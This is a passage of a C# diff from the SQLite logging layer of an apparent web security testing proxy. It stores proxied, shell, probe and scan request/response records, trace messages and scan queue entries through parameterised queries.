Cmd.Parameters.AddWithValue("@ResponseHeaders", ResArr[1].StoredHeadersString); + if (ResArr[1].IsBinary) + Cmd.Parameters.AddWithValue("@ResponseBody", ResArr[1].StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@ResponseBody", ResArr[1].BodyString); + //Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); + Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(ResArr[1].IsBinary)); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.Parameters.AddWithValue("@ID", ResArr[1].ID); + + if (ResArr[0] == null) + { + Cmd.Parameters.AddWithValue("@OriginalResponseHeaders", ""); + Cmd.Parameters.AddWithValue("@OriginalResponseBody", ""); + Cmd.Parameters.AddWithValue("@BinaryOriginalResponse", 0); + Cmd.Parameters.AddWithValue("@RoundTrip", ResArr[1].RoundTrip); + } + else + { + Cmd.Parameters.AddWithValue("@OriginalResponseHeaders", ResArr[0].StoredHeadersString); + if (ResArr[0].IsBinary) + Cmd.Parameters.AddWithValue("@OriginalResponseBody", ResArr[0].StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@OriginalResponseBody", ResArr[0].BodyString); + Cmd.Parameters.AddWithValue("@BinaryOriginalResponse", AsInt(ResArr[0].IsBinary)); + Cmd.Parameters.AddWithValue("@RoundTrip", ResArr[0].RoundTrip); + } + + Cmd.ExecuteNonQuery(); + } + + foreach (Response[] ResArr in ResponseArrs) + { + if (ResArr[0] != null) + { + Cmd.CommandText = "UPDATE ProxyLog SET Edited=@Edited WHERE ID=@ID"; + Cmd.Parameters.AddWithValue("@Edited", 1); + Cmd.Parameters.AddWithValue("@ID", ResArr[0].ID); + Cmd.ExecuteNonQuery(); + } + } + } + InsertLogs.Commit(); + } + } + } + + internal static void LogShellMessages(List IronSessions, List Requests, List Responses) + { + using(SQLiteConnection Log = new SQLiteConnection("data source=" + ShellLogFile)) + { + Log.Open(); + using (SQLiteTransaction Create = Log.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(Log)) + { + //Insert Request/Response in to DB + foreach (Session IrSe in IronSessions) + { + Cmd.CommandText = "INSERT INTO ShellLog (ID , SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Code, Length, MIME, SetCookie, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Code, @Length, @MIME, @SetCookie, @ResponseHeaders, @ResponseBody, @BinaryResponse, @RoundTrip, @Notes)"; + Cmd.Parameters.AddWithValue("@ID", IrSe.Request.ID); + Cmd.Parameters.AddWithValue("@SSL", AsInt(IrSe.Request.SSL)); + Cmd.Parameters.AddWithValue("@HostName", IrSe.Request.Host); + Cmd.Parameters.AddWithValue("@Method", IrSe.Request.Method); + Cmd.Parameters.AddWithValue("@URL", IrSe.Request.URL); + Cmd.Parameters.AddWithValue("@File", IrSe.Request.StoredFile); + Cmd.Parameters.AddWithValue("@Parameters", IrSe.Request.StoredParameters); + //Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.GetHeadersAsStringWithoutFullURL()); + Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.StoredHeadersString); + if (IrSe.Request.IsBinary) + Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); + //Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); + Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(IrSe.Request.IsBinary)); + Cmd.Parameters.AddWithValue("@Code", IrSe.Response.Code); + Cmd.Parameters.AddWithValue("@Length", IrSe.Response.BodyLength); + Cmd.Parameters.AddWithValue("@MIME", IrSe.Response.ContentType); + Cmd.Parameters.AddWithValue("@SetCookie", AsInt((IrSe.Response.SetCookies.Count > 0))); + + //Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.StoredHeadersString); + if (IrSe.Response.IsBinary) + Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); + //Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); + Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(IrSe.Response.IsBinary)); + Cmd.Parameters.AddWithValue("@RoundTrip", IrSe.Response.RoundTrip); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.ExecuteNonQuery(); + } + foreach (Request Req in Requests) + { + Cmd.CommandText = "INSERT INTO ShellLog (ID , SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Notes)"; + Cmd.Parameters.AddWithValue("@ID", Req.ID); + Cmd.Parameters.AddWithValue("@SSL", AsInt(Req.SSL)); + Cmd.Parameters.AddWithValue("@HostName", Req.Host); + Cmd.Parameters.AddWithValue("@Method", Req.Method); + Cmd.Parameters.AddWithValue("@URL", Req.URL); + Cmd.Parameters.AddWithValue("@File", Req.StoredFile); + Cmd.Parameters.AddWithValue("@Parameters", Req.StoredParameters); + //Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsStringWithoutFullURL()); + Cmd.Parameters.AddWithValue("@RequestHeaders", Req.StoredHeadersString); + if (Req.IsBinary) + Cmd.Parameters.AddWithValue("@RequestBody", Req.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); + //Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); + Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Req.IsBinary)); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.ExecuteNonQuery(); + } + foreach (Response Res in Responses) + { + Cmd.CommandText = "UPDATE ShellLog SET Code=@Code, Length=@Length, MIME=@MIME, SetCookie=@SetCookie, ResponseHeaders=@ResponseHeaders, ResponseBody=@ResponseBody, BinaryResponse=@BinaryResponse, RoundTrip=@RoundTrip, Notes=@Notes WHERE ID=@ID"; + Cmd.Parameters.AddWithValue("@Code", Res.Code); + Cmd.Parameters.AddWithValue("@Length", Res.BodyLength); + Cmd.Parameters.AddWithValue("@MIME", Res.ContentType); + Cmd.Parameters.AddWithValue("@SetCookie", AsInt((Res.SetCookies.Count > 0))); + //Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.StoredHeadersString); + if (Res.IsBinary) + Cmd.Parameters.AddWithValue("@ResponseBody", Res.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); + //Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); + Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(Res.IsBinary)); + Cmd.Parameters.AddWithValue("@RoundTrip", Res.RoundTrip); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.Parameters.AddWithValue("@ID", Res.ID); + Cmd.ExecuteNonQuery(); + } + } + Create.Commit(); + } + } + } + + internal static void LogProbeMessages(List IronSessions, List Requests, List Responses) + { + using(SQLiteConnection Log = new SQLiteConnection("data source=" + ProbeLogFile)) + { + Log.Open(); + using (SQLiteTransaction Create = Log.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(Log)) + { + //Insert Request/Response in to DB + foreach (Session IrSe in IronSessions) + { + Cmd.CommandText = "INSERT INTO ProbeLog (ID , SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Code, Length, MIME, SetCookie, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Code, @Length, @MIME, @SetCookie, @ResponseHeaders, @ResponseBody, @BinaryResponse, @RoundTrip, @Notes)"; + Cmd.Parameters.AddWithValue("@ID", IrSe.Request.ID); + Cmd.Parameters.AddWithValue("@SSL", AsInt(IrSe.Request.SSL)); + Cmd.Parameters.AddWithValue("@HostName", IrSe.Request.Host); + Cmd.Parameters.AddWithValue("@Method", IrSe.Request.Method); + Cmd.Parameters.AddWithValue("@URL", IrSe.Request.URL); + Cmd.Parameters.AddWithValue("@File", IrSe.Request.StoredFile); + Cmd.Parameters.AddWithValue("@Parameters", IrSe.Request.StoredParameters); + //Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.GetHeadersAsStringWithoutFullURL()); + Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.StoredHeadersString); + if (IrSe.Request.IsBinary) + Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); + //Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); + Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(IrSe.Request.IsBinary)); + Cmd.Parameters.AddWithValue("@Code", IrSe.Response.Code); + Cmd.Parameters.AddWithValue("@Length", IrSe.Response.BodyLength); + Cmd.Parameters.AddWithValue("@MIME", IrSe.Response.ContentType); + Cmd.Parameters.AddWithValue("@SetCookie", AsInt((IrSe.Response.SetCookies.Count > 0))); + + //Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.StoredHeadersString); + if (IrSe.Response.IsBinary) + Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); + //Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); + Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(IrSe.Response.IsBinary)); + Cmd.Parameters.AddWithValue("@RoundTrip", IrSe.Response.RoundTrip); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.ExecuteNonQuery(); + } + foreach (Request Req in Requests) + { + Cmd.CommandText = "INSERT INTO ProbeLog (ID , SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Notes)"; + Cmd.Parameters.AddWithValue("@ID", Req.ID); + Cmd.Parameters.AddWithValue("@SSL", AsInt(Req.SSL)); + Cmd.Parameters.AddWithValue("@HostName", Req.Host); + Cmd.Parameters.AddWithValue("@Method", Req.Method); + Cmd.Parameters.AddWithValue("@URL", Req.URL); + Cmd.Parameters.AddWithValue("@File", Req.StoredFile); + Cmd.Parameters.AddWithValue("@Parameters", Req.StoredParameters); + //Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsStringWithoutFullURL()); + Cmd.Parameters.AddWithValue("@RequestHeaders", Req.StoredHeadersString); + if (Req.IsBinary) + Cmd.Parameters.AddWithValue("@RequestBody", Req.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); + //Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); + Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Req.IsBinary)); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.ExecuteNonQuery(); + } + foreach (Response Res in Responses) + { + Cmd.CommandText = "UPDATE ProbeLog SET Code=@Code, Length=@Length, MIME=@MIME, SetCookie=@SetCookie, ResponseHeaders=@ResponseHeaders, ResponseBody=@ResponseBody, BinaryResponse=@BinaryResponse, RoundTrip=@RoundTrip, Notes=@Notes WHERE ID=@ID"; + Cmd.Parameters.AddWithValue("@Code", Res.Code); + Cmd.Parameters.AddWithValue("@Length", Res.BodyLength); + Cmd.Parameters.AddWithValue("@MIME", Res.ContentType); + Cmd.Parameters.AddWithValue("@SetCookie", AsInt((Res.SetCookies.Count > 0))); + //Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.StoredHeadersString); + if (Res.IsBinary) + Cmd.Parameters.AddWithValue("@ResponseBody", Res.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); + //Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); + Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(Res.IsBinary)); + Cmd.Parameters.AddWithValue("@RoundTrip", Res.RoundTrip); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.Parameters.AddWithValue("@ID", Res.ID); + Cmd.ExecuteNonQuery(); + } + } + Create.Commit(); + } + } + } + + internal static void LogScanMessages(List IronSessions, List Requests, List Responses) + { + using(SQLiteConnection Log = new SQLiteConnection("data source=" + ScanLogFile)) + { + Log.Open(); + using (SQLiteTransaction Create = Log.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(Log)) + { + //Insert Request/Response in to DB + foreach (Session IrSe in IronSessions) + { + Cmd.CommandText = "INSERT INTO ScanLog (ID , ScanID, SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Code, Length, MIME, SetCookie, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip, Notes) VALUES (@ID , @ScanID, @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Code, @Length, @MIME, @SetCookie, @ResponseHeaders, @ResponseBody, @BinaryResponse, @RoundTrip, @Notes)"; + Cmd.Parameters.AddWithValue("@ID", IrSe.Request.ID); + Cmd.Parameters.AddWithValue("@ScanID", IrSe.Request.ScanID); + Cmd.Parameters.AddWithValue("@SSL", AsInt(IrSe.Request.SSL)); + Cmd.Parameters.AddWithValue("@HostName", IrSe.Request.Host); + Cmd.Parameters.AddWithValue("@Method", IrSe.Request.Method); + Cmd.Parameters.AddWithValue("@URL", IrSe.Request.URL); + Cmd.Parameters.AddWithValue("@File", IrSe.Request.StoredFile); + Cmd.Parameters.AddWithValue("@Parameters", IrSe.Request.StoredParameters); + //Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.GetHeadersAsStringWithoutFullURL()); + Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.StoredHeadersString); + if (IrSe.Request.IsBinary) + Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); + //Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); + Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(IrSe.Request.IsBinary)); + Cmd.Parameters.AddWithValue("@Code", IrSe.Response.Code); + Cmd.Parameters.AddWithValue("@Length", IrSe.Response.BodyLength); + Cmd.Parameters.AddWithValue("@MIME", IrSe.Response.ContentType); + //Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.StoredHeadersString); + if (IrSe.Response.IsBinary) + Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); + //Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); + Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(IrSe.Response.IsBinary)); + Cmd.Parameters.AddWithValue("@SetCookie", AsInt((IrSe.Response.SetCookies.Count > 0))); + Cmd.Parameters.AddWithValue("@RoundTrip", IrSe.Response.RoundTrip); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.ExecuteNonQuery(); + } + foreach (Request Req in Requests) + { + Cmd.CommandText = "INSERT INTO ScanLog (ID , ScanID, SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Notes) VALUES (@ID , @ScanID, @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Notes)"; + Cmd.Parameters.AddWithValue("@ID", Req.ID); + Cmd.Parameters.AddWithValue("@ScanID", Req.ScanID); + Cmd.Parameters.AddWithValue("@SSL", AsInt(Req.SSL)); + Cmd.Parameters.AddWithValue("@HostName", Req.Host); + Cmd.Parameters.AddWithValue("@Method", Req.Method); + Cmd.Parameters.AddWithValue("@URL", Req.URL); + Cmd.Parameters.AddWithValue("@File", Req.File); + Cmd.Parameters.AddWithValue("@Parameters", Req.StoredParameters); + //Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsStringWithoutFullURL()); + Cmd.Parameters.AddWithValue("@RequestHeaders", Req.StoredHeadersString); + if (Req.IsBinary) + Cmd.Parameters.AddWithValue("@RequestBody", Req.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); + //Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); + Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Req.IsBinary)); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.ExecuteNonQuery(); + } + foreach (Response Res in Responses) + { + Cmd.CommandText = "UPDATE ScanLog SET Code=@Code, Length=@Length, MIME=@MIME, SetCookie=@SetCookie, ResponseHeaders=@ResponseHeaders, ResponseBody=@ResponseBody, BinaryResponse=@BinaryResponse, RoundTrip=@RoundTrip, Notes=@Notes WHERE ID=@ID"; + Cmd.Parameters.AddWithValue("@Code", Res.Code); + Cmd.Parameters.AddWithValue("@Length", Res.BodyLength); + Cmd.Parameters.AddWithValue("@MIME", Res.ContentType); + Cmd.Parameters.AddWithValue("@SetCookie", AsInt((Res.SetCookies.Count > 0))); + //Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.StoredHeadersString); + if (Res.IsBinary) + Cmd.Parameters.AddWithValue("@ResponseBody", Res.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); + //Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); + Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(Res.IsBinary)); + Cmd.Parameters.AddWithValue("@RoundTrip", Res.RoundTrip); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.Parameters.AddWithValue("@ID", Res.ID); + Cmd.ExecuteNonQuery(); + } + } + Create.Commit(); + } + } + } + + internal static void LogOtherSourceMessages(List IronSessions, List Requests, List Responses, string Source) + { + using(SQLiteConnection Log = new SQLiteConnection("data source=" + GetOtherSourceLogFileName(Source))) + { + Log.Open(); + using (SQLiteTransaction Create = Log.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(Log)) + { + Cmd.CommandText = "CREATE TABLE IF NOT EXISTS Log (ID INT PRIMARY KEY, SSL INT, HostName TEXT, Method TEXT, URL TEXT, File TEXT, Parameters TEXT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, Code INT, Length INT, MIME TEXT, SetCookie INT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, RoundTrip INT, Notes TEXT)"; + Cmd.ExecuteNonQuery(); + + //Insert Request/Response in to DB + foreach (Session IrSe in IronSessions) + { + Cmd.CommandText = "INSERT INTO Log (ID , SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Code, Length, MIME, SetCookie, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Code, @Length, @MIME, @SetCookie, @ResponseHeaders, @ResponseBody, @BinaryResponse, @RoundTrip, @Notes)"; + Cmd.Parameters.AddWithValue("@ID", IrSe.Request.ID); + Cmd.Parameters.AddWithValue("@SSL", AsInt(IrSe.Request.SSL)); + Cmd.Parameters.AddWithValue("@HostName", IrSe.Request.Host); + Cmd.Parameters.AddWithValue("@Method", IrSe.Request.Method); + Cmd.Parameters.AddWithValue("@URL", IrSe.Request.URL); + Cmd.Parameters.AddWithValue("@File", IrSe.Request.StoredFile); + Cmd.Parameters.AddWithValue("@Parameters", IrSe.Request.StoredParameters); + //Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.GetHeadersAsStringWithoutFullURL()); + Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.StoredHeadersString); + if (IrSe.Request.IsBinary) + Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); + //Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); + Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(IrSe.Request.IsBinary)); + Cmd.Parameters.AddWithValue("@Code", IrSe.Response.Code); + Cmd.Parameters.AddWithValue("@Length", IrSe.Response.BodyLength); + Cmd.Parameters.AddWithValue("@MIME", IrSe.Response.ContentType); + Cmd.Parameters.AddWithValue("@SetCookie", AsInt((IrSe.Response.SetCookies.Count > 0))); + + //Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.StoredHeadersString); + if (IrSe.Response.IsBinary) + Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); + //Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); + Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(IrSe.Response.IsBinary)); + Cmd.Parameters.AddWithValue("@RoundTrip", IrSe.Response.RoundTrip); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.ExecuteNonQuery(); + } + foreach (Request Req in Requests) + { + Cmd.CommandText = "INSERT INTO Log (ID , SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Notes)"; + Cmd.Parameters.AddWithValue("@ID", Req.ID); + Cmd.Parameters.AddWithValue("@SSL", AsInt(Req.SSL)); + Cmd.Parameters.AddWithValue("@HostName", Req.Host); + Cmd.Parameters.AddWithValue("@Method", Req.Method); + Cmd.Parameters.AddWithValue("@URL", Req.URL); + Cmd.Parameters.AddWithValue("@File", Req.StoredFile); + Cmd.Parameters.AddWithValue("@Parameters", Req.StoredParameters); + //Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsStringWithoutFullURL()); + Cmd.Parameters.AddWithValue("@RequestHeaders", Req.StoredHeadersString); + if (Req.IsBinary) + Cmd.Parameters.AddWithValue("@RequestBody", Req.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); + //Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); + Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Req.IsBinary)); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.ExecuteNonQuery(); + } + foreach (Response Res in Responses) + { + Cmd.CommandText = "UPDATE Log SET Code=@Code, Length=@Length, MIME=@MIME, SetCookie=@SetCookie, ResponseHeaders=@ResponseHeaders, ResponseBody=@ResponseBody, BinaryResponse=@BinaryResponse, RoundTrip=@RoundTrip, Notes=@Notes WHERE ID=@ID"; + Cmd.Parameters.AddWithValue("@Code", Res.Code); + Cmd.Parameters.AddWithValue("@Length", Res.BodyLength); + Cmd.Parameters.AddWithValue("@MIME", Res.ContentType); + Cmd.Parameters.AddWithValue("@SetCookie", AsInt((Res.SetCookies.Count > 0))); + //Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.StoredHeadersString); + if (Res.IsBinary) + Cmd.Parameters.AddWithValue("@ResponseBody", Res.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); + //Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); + Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(Res.IsBinary)); + Cmd.Parameters.AddWithValue("@RoundTrip", Res.RoundTrip); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.Parameters.AddWithValue("@ID", Res.ID); + Cmd.ExecuteNonQuery(); + } + } + Create.Commit(); + } + } + } + #endregion + + #region LogTraces + internal static void LogTraces(List Traces) + { + using(SQLiteConnection Log = new SQLiteConnection("data source=" + TraceLogFile)) + { + Log.Open(); + + using (SQLiteTransaction Create = Log.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(Log)) + { + foreach (IronTrace Trace in Traces) + { + Cmd.CommandText = "INSERT INTO Trace (ID, Time, Date, ThreadID, Source, Message) VALUES (@ID, @Time, @Date, @ThreadID, @Source, @Message)"; + Cmd.Parameters.AddWithValue("@ID", Trace.ID.ToString()); + Cmd.Parameters.AddWithValue("@Time", Trace.Time); + Cmd.Parameters.AddWithValue("@Date", Trace.Date); + Cmd.Parameters.AddWithValue("@ThreadID", Trace.ThreadID.ToString()); + Cmd.Parameters.AddWithValue("@Source", Trace.Source); + Cmd.Parameters.AddWithValue("@Message", Trace.Message); + Cmd.ExecuteNonQuery(); + } + } + Create.Commit(); + } + } + } + + internal static void LogScanTraces(List Traces) + { + using(SQLiteConnection Log = new SQLiteConnection("data source=" + TraceLogFile)) + { + Log.Open(); + using (SQLiteTransaction Create = Log.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(Log)) + { + foreach (IronTrace Trace in Traces) + { + Cmd.CommandText = "INSERT INTO ScanTrace (ID, ScanID, PluginName, Section, Parameter, Title, Message, OverviewXml) VALUES (@ID, @ScanID, @PluginName, @Section, @Parameter, @Title, @Message, @OverviewXml)"; + Cmd.Parameters.AddWithValue("@ID", Trace.ID.ToString()); + Cmd.Parameters.AddWithValue("@ScanID", Trace.ScanID.ToString()); + Cmd.Parameters.AddWithValue("@PluginName", Trace.PluginName); + Cmd.Parameters.AddWithValue("@Section", Trace.Section); + Cmd.Parameters.AddWithValue("@Parameter", Trace.Parameter); + Cmd.Parameters.AddWithValue("@Title", Trace.Title); + Cmd.Parameters.AddWithValue("@Message", Trace.MessageXml); + Cmd.Parameters.AddWithValue("@OverviewXml", Trace.OverviewXml); + Cmd.ExecuteNonQuery(); + } + } + Create.Commit(); + } + } + } + + internal static void LogSessionPluginTraces(List Traces) + { + using(SQLiteConnection Log = new SQLiteConnection("data source=" + TraceLogFile)) + { + Log.Open(); + using (SQLiteTransaction Create = Log.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(Log)) + { + foreach (IronTrace Trace in Traces) + { + Cmd.CommandText = "INSERT INTO SessionPluginTrace (ID, LogId, LogSource, PluginName, Action, Message) VALUES (@ID, @LogId, @LogSource, @PluginName, @Action, @Message)"; + Cmd.Parameters.AddWithValue("@ID", Trace.ID.ToString()); + Cmd.Parameters.AddWithValue("@LogId", Trace.LogId.ToString()); + Cmd.Parameters.AddWithValue("@LogSource", Trace.LogSource); + Cmd.Parameters.AddWithValue("@PluginName", Trace.SessionPluginName); + Cmd.Parameters.AddWithValue("@Action", Trace.Action); + Cmd.Parameters.AddWithValue("@Message", Trace.Message); + Cmd.ExecuteNonQuery(); + } + } + Create.Commit(); + } + } + } + #endregion + + #region Scanning + + internal static void CreateScan(int ScanID, Request Req) + { + using(SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) + { + DB.Open(); + using (SQLiteCommand Cmd = DB.CreateCommand()) + { + Cmd.CommandText = "INSERT INTO ScanQueue (ScanID, RequestHeaders, RequestBody, BinaryRequest, Status, Method, URL) VALUES (@ScanID, @RequestHeaders, @RequestBody, @BinaryRequest, @Status, @Method, @URL)"; + Cmd.Parameters.AddWithValue("@ScanID", ScanID); + Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsString()); + if (Req.IsBinary) + Cmd.Parameters.AddWithValue("@RequestBody", Req.BinaryBodyString); + else + Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); + Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Req.IsBinary)); + Cmd.Parameters.AddWithValue("@Status", "Not Started"); + Cmd.Parameters.AddWithValue("@Method", Req.Method); + Cmd.Parameters.AddWithValue("@URL", Req.FullUrl); + Cmd.ExecuteNonQuery(); + } + } + //CreateScan(ScanID, Req, "Not Started", "", "", "", ""); + } + + //IronDB.UpdateScan(ScanID, OriginalRequest, "Queued", this.GetInjectionString(), this.BodyFormat.Name, this.GetScanPluginsString(), this.SessionHandler.Name, this.IdOfWorkflowToScan, this.IndexOfRequestToScanInWorkFlowLogAssociations, this.LoginAndCsrfRecording.WorkflowId); + internal static void UpdateScan(int ScanID, Request Req, string Status, string InjectionPoints, string FormatPlugin, string ScanPlugins, string SessionPlugin, int IdOfWorkflowToScan, int IndexOfRequestToScanInWorkflow, int LoginAndCsrfWorkflowId) + { + using(SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) + { + DB.Open(); + using(SQLiteCommand Cmd = 